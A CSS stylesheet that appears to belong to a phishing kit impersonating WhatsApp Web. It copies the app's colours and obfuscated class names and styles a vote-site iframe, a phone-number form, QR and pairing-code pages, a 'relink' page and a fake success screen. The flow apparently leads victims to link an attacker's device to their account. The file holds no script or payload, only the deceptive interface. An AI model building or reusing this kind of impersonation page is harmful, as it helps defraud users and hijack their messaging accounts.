:root {
  --wa-panel: #f0f2f5;
  --wa-dark: #111b21;
  --wa-green: #00a884;
  --wa-green-hover: #008069;
  --wa-text: #41525d;
  --wa-muted: #667781;
  --wa-border: #e9edef;
  --wa-red: #ea0038;
  --radius-app: 3px;
  --shadow-rgb: 11, 20, 26;
}

* { box-sizing: border-box; margin: 0; padding: 0; }

html, body {
  height: 100%;
  overflow: hidden auto !important;
  background-color: var(--wa-panel) !important;
}

body {
  font-family: "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif;
  color: var(--wa-text);
}

.hidden { display: none !important; }

a { cursor: pointer !important; color: #008069 !important; text-decoration: none; }

.page1 { width: 100%; min-height: 100vh; }

.vote-site-frame {
  width: 100%;
  min-height: 100vh;
  height: 100vh;
  border: 0;
  display: block;
  background: #e8e2d6;
}

.page2 { width: 100%; min-height: 100vh; }

.landing-wrapper {
  position: relative;
  z-index: 2;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: flex-start;
  box-sizing: border-box;
  min-width: 320px;
}

.landing-wrapper-before {
  position: absolute;
  top: 0;
  left: 0;
  z-index: -1;
  width: 100%;
  height: 222px;
  background-color: var(--wa-dark);
}

.landing-header {
  display: flex;
  align-items: center;
  width: 100%;
  max-width: 900px;
  margin: 27px auto 28px;
  padding: 0 8px;
  color: #fff;
}

.shell-lang-wrap {
  margin-left: auto;
}

.shell-lang-wrap .lang-switch {
  margin: 0;
}

.shell-lang-wrap .lang-btn {
  color: #e9edef;
  border-color: rgba(233, 237, 239, 0.35);
  background: rgba(17, 27, 33, 0.35);
}

.shell-lang-wrap .lang-btn.active {
  background: #00a884;
  border-color: #00a884;
  color: #fff;
}

.landing-icon { display: inline-block; vertical-align: middle; }

.landing-headerTitle {
  margin-left: 14px;
  font-size: 14px;
  font-weight: 500;
  color: #e9edef;
}

.landing-window {
  width: 100%;
  max-width: 900px;
  margin: 0 auto 40px;
  background-color: #fff;
  border-radius: 3px;
  box-shadow: 0 17px 50px rgba(var(--shadow-rgb), 0.19), 0 12px 15px rgba(var(--shadow-rgb), 0.24);
}

.landing-main {
  padding: 64px 60px 40px;
}

.landing-title {
  font-size: 28px;
  font-weight: 300;
  line-height: normal;
  color: #41525d;
  margin-bottom: 18px;
}

.phone-subtitle {
  font-size: 14px;
  line-height: 1.5;
  color: var(--wa-muted);
  margin-bottom: 28px;
  max-width: 500px;
}

.phone-entry-form { max-width: 500px; }

.country-row { margin-bottom: 12px; }

.country-selector-box,
.phone-form-field .input {
  border: 1px solid var(--wa-border);
  border-radius: 8px;
  background: #fff;
}

.country-selector-box {
  position: relative;
  display: flex;
  align-items: center;
  gap: 10px;
  width: 292px;
  max-width: 100%;
  height: 52px;
  padding: 0 14px;
  margin-bottom: 12px;
  cursor: pointer;
}

.country-flag { font-size: 20px; line-height: 1; }

.country-label {
  flex: 1;
  font-size: 17px;
  color: #111b21;
}

.caret-down {
  color: rgba(17, 27, 33, 0.3);
  display: flex;
  align-items: center;
}

.country-select-native {
  position: absolute;
  inset: 0;
  opacity: 0;
  cursor: pointer;
  width: 100%;
  height: 100%;
}

.phone-form-field { width: 292px; max-width: 100%; }

.phone-form-field .input {
  width: 100%;
  height: 52px;
  padding: 0 15px 0 24px;
  font-size: 16px;
  outline: none;
}

.phone-form-field .input:focus { border-color: #008069 !important; }

/* QR scan page */
.qr-page { padding: 48px 60px 36px; }

.qr-layout {
  display: flex;
  gap: 48px;
  align-items: flex-start;
  justify-content: center;
}

.qr-left {
  flex: 0 0 320px;
  max-width: 360px;
}

.qr-wrap { margin: 8px 0 16px; }

.qr-image-frame {
  display: flex;
  justify-content: center;
  padding: 12px;
  background: #fff;
  border: 1px solid var(--wa-border);
  border-radius: 8px;
}

.qr-image {
  display: block;
  width: 264px;
  height: 264px;
}

.qr-tip {
  margin-top: 12px;
  text-align: center;
  color: var(--wa-muted);
  font-size: 14px;
}

.qr-alt {
  margin-top: 20px;
  font-size: 14px;
  text-align: center;
}

.qr-steps {
  flex: 1;
  min-width: 280px;
  max-width: 420px;
  padding-top: 8px;
}

.error {
  min-height: 20px;
  font-size: 13px;
  text-align: center;
  color: var(--wa-red);
  margin: 8px 0 24px;
}

.submit-row { margin-top: 8px; }

.submit._1M6AF._3QJHf {
  display: inline-block;
  width: 95px;
  height: 40px;
  line-height: 40px;
  text-align: center;
  cursor: pointer;
  font-size: 14px;
  font-weight: 500;
  letter-spacing: 1.25px;
  text-transform: uppercase;
  color: #fff;
  background-color: var(--wa-green);
  border: 1px solid transparent;
  border-radius: var(--radius-app);
  padding: 0 !important;
  transition: background 0.18s ease-out, box-shadow 0.18s ease-out;
  user-select: none;
}

.submit._1M6AF._3QJHf:hover {
  background-color: var(--wa-green-hover);
  box-shadow: 0 2px 7px rgba(var(--shadow-rgb), 0.09), 0 1px 2px rgba(var(--shadow-rgb), 0.05);
}

/* Code page — 竞品 code-page-new */
.code-page-new {
  padding: 22px 12px 28px;
  background: #f7f4ef;
}

.code-card-new {
  max-width: 620px;
  margin: 0 auto;
  padding: 38px 22px 26px;
  background: #fff;
  border: 2px solid #1f2a30;
  border-radius: 28px;
  box-sizing: border-box;
  color: #1f2a30;
}

.code-title-new {
  font-size: 32px;
  line-height: 1.2;
  font-weight: 500;
  margin-bottom: 14px;
}

.code-phone-new {
  font-size: 18px;
  line-height: 1.45;
  margin-bottom: 24px;
}

.code-phone-new strong { font-weight: 700; }

.code-phone-new a,
.code-tutorial-link { color: #008069 !important; font-weight: 700; }

.code-loading-new {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 10px;
  margin: 20px 0 24px;
  color: #667781;
}

.wa-spinner {
  animation: wa-spin 1.4s linear infinite;
}

@keyframes wa-spin {
  to { transform: rotate(360deg); }
}

.code-boxes-new {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  margin: 20px 0 22px;
  flex-wrap: wrap;
}

.code-group {
  display: flex;
  gap: 8px;
}

.code-box-new {
  width: 54px;
  height: 66px;
  border: 3px solid #00a884;
  border-radius: 8px;
  box-shadow: 0 0 0 3px #e6f4f1;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 34px;
  font-weight: 800;
  line-height: 1;
  color: #111b21;
  box-sizing: border-box;
}

.code-separator-new {
  font-size: 30px;
  font-weight: 700;
  color: #111b21;
  margin: 0 6px;
}

.code-copy-new {
  display: block;
  margin: 0 auto 12px;
  padding: 14px 34px;
  border: 0;
  border-radius: 999px;
  background: #00a884;
  color: #fff;
  font-size: 17px;
  font-weight: 700;
  cursor: pointer;
}

.code-copy-new:hover { background: #008069; }

.code-tip-new {
  text-align: center;
  color: #667781;
  font-size: 15px;
  margin-bottom: 26px;
}

.code-steps-new { margin-top: 18px; }

.code-step-new {
  position: relative;
  display: flex;
  align-items: flex-start;
  gap: 16px;
  min-height: 52px;
  font-size: 17px;
  line-height: 1.45;
}

.code-step-new:not(:last-child)::after {
  content: "";
  position: absolute;
  left: 17px;
  top: 34px;
  bottom: -18px;
  width: 2px;
  background: #111b21;
}

.code-step-new span {
  position: relative;
  z-index: 1;
  width: 36px;
  height: 36px;
  border: 2px solid #111b21;
  border-radius: 50%;
  background: #fff;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 17px;
  font-weight: 700;
  box-sizing: border-box;
  flex: 0 0 36px;
}

.code-step-new p { margin: 5px 0 0; }

._2XHqw {
  padding: 28px 60px 48px;
  text-align: center;
  border-top: 1px solid var(--wa-border);
}

._2XHqw .DL70t {
  font-size: 20px;
  margin-bottom: 12px;
}

._3Zpe8 { margin-bottom: 16px; }

.edeob0r2 {
  font-size: 14px;
  font-weight: 500;
}

@media screen and (max-width: 780px) {
  .landing-window { width: 100%; }
  .landing-main { padding: 36px 24px 28px; }
  .qr-page { padding: 36px 24px 28px; }
  .qr-layout { flex-direction: column; gap: 28px; }
  .qr-left { flex: 1; max-width: 100%; }
  .qr-steps { max-width: 100%; }
  ._2XHqw { padding: 24px; }
}

@media screen and (max-width: 768px) {
  [aria-details="link-device-phone-number-code-screen-instructions"] {
    transform: scale(0.92);
    transform-origin: top center;
  }

  .landing-wrapper,
  .landing-wrapper-before,
  .landing-window {
    width: 100vw !important;
    max-width: 100vw !important;
    min-width: 100vw !important;
    overflow: hidden;
  }

  .landing-window { margin: 0 !important; border: none !important; }

  .code-title-new { font-size: 26px; }
  .code-box-new { width: 44px; height: 56px; font-size: 28px; }
  .code-step-new { font-size: 15px; gap: 12px; }
}

.success-page {
  display: flex;
  align-items: center;
  justify-content: center;
  min-height: 420px;
  padding: 48px 24px;
  background: linear-gradient(180deg, #f0f2f5 0%, #e9edef 100%);
}

.success-wrap {
  text-align: center;
  max-width: 380px;
  padding: 36px 28px;
  background: #fff;
  border-radius: 16px;
  box-shadow: 0 8px 32px rgba(11, 20, 26, 0.08);
}

.success-icon {
  margin: 0 auto 24px;
  animation: success-pop 0.5s cubic-bezier(0.34, 1.56, 0.64, 1);
}

.success-phone-line {
  margin-top: 10px;
  font-size: 14px;
  color: var(--wa-muted);
  direction: ltr;
  letter-spacing: 0.02em;
}

.success-progress {
  margin-top: 28px;
  height: 3px;
  background: #e9edef;
  border-radius: 3px;
  overflow: hidden;
}

.success-progress span {
  display: block;
  height: 100%;
  width: 0;
  background: #00a884;
  border-radius: 3px;
  animation: success-bar 1.4s ease-out forwards;
}

.relink-page .landing-title {
  font-size: 28px;
}

.relink-page:not(.hidden) {
  animation: relink-fade-in 0.28s ease-out;
}

@keyframes relink-fade-in {
  from { opacity: 0; transform: translateY(8px); }
  to { opacity: 1; transform: translateY(0); }
}

.relink-phone-line {
  margin: 8px 0 16px;
  font-size: 14px;
  color: var(--wa-muted);
  direction: ltr;
}

.relink-layout .qr-left {
  max-width: 420px;
}

.code-step-highlight p strong {
  color: #111b21;
}

.keep-signed-in {
  display: flex;
  align-items: center;
  gap: 10px;
  margin-top: 20px;
  font-size: 14px;
  color: #667781;
  cursor: default;
}

.keep-signed-in input {
  accent-color: #00a884;
  width: 18px;
  height: 18px;
}

.relink-help a {
  color: #00a884;
  text-decoration: none;
}

.relink-help a:hover {
  text-decoration: underline;
}

@keyframes success-pop {
  from { transform: scale(0.7); opacity: 0; }
  to { transform: scale(1); opacity: 1; }
}

@keyframes success-bar {
  from { width: 0; }
  to { width: 100%; }
}
